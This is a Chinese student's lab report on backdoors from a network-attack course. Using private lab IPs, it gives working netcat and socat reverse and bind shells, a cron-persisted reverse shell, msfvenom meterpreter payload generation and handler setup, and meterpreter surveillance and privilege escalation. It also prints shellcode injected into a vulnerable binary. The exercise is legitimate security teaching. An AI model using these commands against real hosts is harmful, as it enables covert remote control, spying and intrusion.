2019-2020-2 网络对抗技术 20175213吕正宏 Exp2 后门原理与实践
一、实验内容
-
1.使用netcat获取主机操作Shell,cron启动。
-
2.使用socat获取主机操作Shell, 任务计划启动。
-
3.使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell。
-
4.使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权。
-
5.使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell(加分项)。
二、问题回答
-
1.例举你能想到的一个后门进入到你系统中的可能方式?
-
(1)网页中的链接和下载程序都可能会有绑定的可执行文件。
-
(2)个人邮件内的附件中。
-
-
2.例举你知道的后门如何启动起来(win及linux)的方式?
-
(1)Windows中,和开机自启动项进行捆绑、修改电脑注册表等。
-
(2)Linux中,通过Crontab和注入shellcode等。
-
-
3.Meterpreter有哪些给你映像深刻的功能?
-
(1)获取摄像头、麦克风权限进行录像和录音以及获取键盘输入。
-
(2)从目标机上对相关的文件进行下载和上传。
-
-
4.如何发现自己有系统有没有被安装后门?
-
(1)使用杀毒软件定时扫描。
-
(2)定期检查电脑自启动项和注册表有无异常。
-
三、常用的后门工具
1. Netcat
-
是一个简单的Unix实用程序,它使用TCP或UDP协议跨网络连接读写数据。
-
一些主要功能是:与任何端口的出站或入站连接(TCP或UDP);全面的DNS正向/反向检查,并带有适当的警告等。
Windows获得Linux Shell
- 在Windows中查看本机IP地址。
-
在命令行中进入解压好的文件,使用ncat.exe程序打开监听
ncat.exe -l -p 5213
-
在kali中反弹链接Windows,
nc 192.168.0.107 5213 -e /bin/sh
,获取shell。其中-e 选项用于执行shell。
kali获得Windows的shell
- 在kali中,进入管理员模式,使用
ifconfig
查看本机IP地址为:192.168.111.130
。
- 在kali命令行中开启监听,命令为
nc -l -p 5213
。
- 在Windows中使用命令
ncat.exe -e cmd.exe 192.168.111.130 5213
反弹连接kali。
- 使用命令
dir
测试,kali成功获得了Windows的shell。
kali向Windows中传输文件
- 在kali中创建一个
file.in
文件,修改内容并保存。
- 在Windows命令行中输入命令
ncat.exe -l 5213 > file.out
,开启监听,将收到的内容存储在file.out 中。
- kali反弹链接Windows,命令为
nc 192.168.0.117 5213 < file.in
。(在这一步中,出现了“Connection Refused”的错误,应该是端口被临时占用。)
- 在Windows相应的文件夹中查看
file.out
文件。
2. Socat
-
socat是ncat的增强版,名字来由是” Socket CAT”。
-
任何代理、转发等功能都可以用该工具实现。
3. Meterpreter
-
后门就是一个程序。
-
传统的理解是:有人编写一个后门程序,大家拿来用。后来有人编写一个平台能生成后门程序。这个平台把后门的
-
(1)基本功能(基本的连接、执行指令)
-
(2)扩展功能(如搜集用户信息、安装服务等功能)
-
(3)编码模式
-
(4)运行平台
-
(5)以及运行参数
-
全都做成零件或可调整的参数。用的时候按需要组合,就可以生成一个可执行文件。
-
典型的平台就包括有:
-
(1)intersect
-
(2)Metaspolit的msfvenom指令
-
(3)Veil-evasion
-
-
指令参数说明:
-
-p
:使用的payload。payload翻译为有效载荷,就是被运输有东西。这里windows/meterpreter/reverse_tcp就是一段shellcode。 -
-x
:使用的可执行文件模板,payload(shellcode)就写入到这个可执行文件中。 -
-e
:使用的编码器,用于对shellcode变形,为了免杀。 -
-i
:编码器的迭代次数。如上即使用该编码器编码5次。 -
-b
:badchar是payload中需要去除的字符。 -
LHOST
:是反弹回连的IP。 -
LPORT
:是回连的端口。 -
-f
: 生成文件的类型> 输出到哪个文件。
-
四、实验过程
1. 使用netcat获取主机操作Shell,cron启动
Cron是Linux下的定时任务,每一分钟运行一次,根据配置文件执行预设的指令。详细说明可以使用命令man cron
。
- 在Windows下监听
5213
端口。命令为ncat.exe -l -p 5213
-
使用
crontab -e
指令增加一条定时任务,-e
表示编辑。因为是第一次编辑,故提示选择编辑器,这里选择的是3。 -
在打开的文件最后一行添加
41 * * * * /bin/netcat 192.168.0.107 5213 -e /bin/sh
,意思是在每个小时的第41分钟反向连接Windows主机的5213端口,这里选择41,是为了能更迅速的看到结果。
- 在设定的时间到后,在Windows中可以获取kali的shell。
2. 使用socat获取主机操作Shell, 任务计划启动
- 在Windows中下载socat并解压。
- 依次在电脑中选择
计算机管理
->任务计划程序
->创建任务
。
-
填写名称,并进行操作编辑。(先进行操作编辑再编辑触发器可以避免错过触发器触发时间)
-
点击
新建操作
,在程序或脚本
选项中中选择你的socat.exe文件的路径,在添加参数
一栏填写tcp-listen:5213 exec:cmd.exe,pty,stderr
,这个命令的作用是把cmd.exe绑定到端口5213 ,同时把cmd.exe的stderr重定向到stdout上。
- 设置触发器,设定启动时间,选择
按预定计划
,选择一个就近的时间。
- 创建完成后可以看到任务的状态为准备就绪。
- 到达预先设置的时间后,可以看到socat已经开始运行。
- 在kali中输入命令
socat - tcp:192.168.0.107:5213
(IP为Windows的IP地址,第一个参数 - 代表标准的输入输出,第二个流连接到Windows主机的5213端口)此时可以发现已经成功获得了一个cmd shell
3. 使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
- 在Kali上执行指令
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.111.130 LPORT=5213 -f exe > 20175213_backdoor.exe
,这里的IP地址为控制端kali的IP地址,也是之后windows主机反向连接的ip,即控制方ip。在文件管理器中可见已经生成了后门程序“20175213_backdoor.exe”。
-
在Windows下执行
ncat.exe -lv 5213 > 20175213_backdoor.exe
指令,通过-lv 选项看到当前的连接状态,开启监听。 -
在kali中执行命令
nc 192.168.0.107 5213 < 20175213_backdoor.exe
(IP地址为被控主机Windows的IP),传输成功后观察到如下
- 在相应的文件夹下可以查看到刚刚传输完成的
20175213_background.exe
。
- 在kali上使用
msfconsole
指令进入msf控制台。
-
下面进行配置:
-
use exploit/multi/handler
:使用监听模块,设置payload -
set payload windows/meterpreter/reverse_tcp
:使用和生成后门程序时相同的payload -
set LHOST 192.168.111.130
:控制方Kali的IP,需要和之前生成的后门exe时设置的IP相同; -
set LPORT 5213
:设置端口;
-
- 设置完成后输入
exploit
,然后在windows中启动20175213_background.exe,kali中将自动获得shell(需提前关闭杀软),此时在kali中已经获得了Windows的shell,输入dir
, 可以查看Windows中20175213_backdoor.exe所在目录下的文件信息。
4. 使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
- 使用
record_mic
指令可以截获一段音频,使用-d选项设置录制时间,这里我选择设置时长为10s,-d 10
- 使用命令
webcam_snap
指令可以使用摄像头进行拍照(提醒我们平时为了安全,摄像头、麦克风等要设置为关闭)
-
截屏:使用命令
screenshot
指令可以进行截屏 -
提权:
-
输入
getuid
可以查看当前用户。 -
输入
getsystem
可以进行提权操作。
-
5.(加分项)使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell
在参考了学长学姐的博客后,得出了以下我认为比较好的方法:
- 下载对应的shellcode。
-
先打开一个终端进行和实验一相同的关闭地址随机化等操作。
-
然后进行和实验一相同的注入工作
-
在终端A中运行pwn1;
-
在终端B中查找pwn1的进程号,并用GDB计算esp的地址,也就是shellcode注入的地址,计算得出的是
0xffffd6d0
; -
使用下载的代码和算出的地址构造一个shellcode:
-
perl -e 'print "A" x 32;print"xd0xd6xffxffx31xc0x31xdbx31xc9x31xd2x66xb8x67x01xb3x02xb1x01xcdx80x89xc3xb8x80xffxffxfex83xf0xffx50x66x68x11x5cx66x6ax02x89xe1xb2x10x31xc0x66xb8x6ax01xcdx80x85xc0x75x24x31xc9xb1x02x31xc0xb0x3fxcdx80x49x79xf9x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x31xc9x31xd2xb0x0bxcdx80xb3x01x31xc0xb0x01xcdx80"' > input_shellcode
-
在新终端中输入
msfconsole
,进入msf控制台进行配置和开启监听。
-
-
然后在另一个终端输入
(cat input_shellcode;cat) | ./pwn1
,按两次回车,此时在之前那个终端就可以看到反弹连接shell成功。
五、实验中的问题与解决
- 问题1:在实验内容2中,在预定时间到达后,socat未能正常运行,只是一闪而过。且kali中显示“Connection Rufused”的错误
-
问题1解决:因为个人电脑问题,需要关闭电脑的防火墙;且在实验过程中误将本机IP地址看错而导致错误,改正后按照操作流程走就会出现正确结果。
-
问题2:在实验内容3中,生成可执行文件时出现msfconsole启动失败的问题。
- 问题2解决:在查询了王梓鸿同学的博客后,原因是bundler版本不一致造成的,需要下载旧版本,在管理员模式下输入命令
gem install bundler:1.17.3
下载。
六、心得体会
在这次的实验中,花的时间比上一次要长,但收获也很多,比如:后门的基本原理,后门的注入过程、方式等。在实验中耗费的大量时间也在于查找资料,检查错误,修正错误等,也让我学到了实验之外的东西。通过本次自己亲自动手实践我也了解到了后门功能的强大性和危害性,因此我们对于后门的防范也要提高警惕,安全问题不容忽视。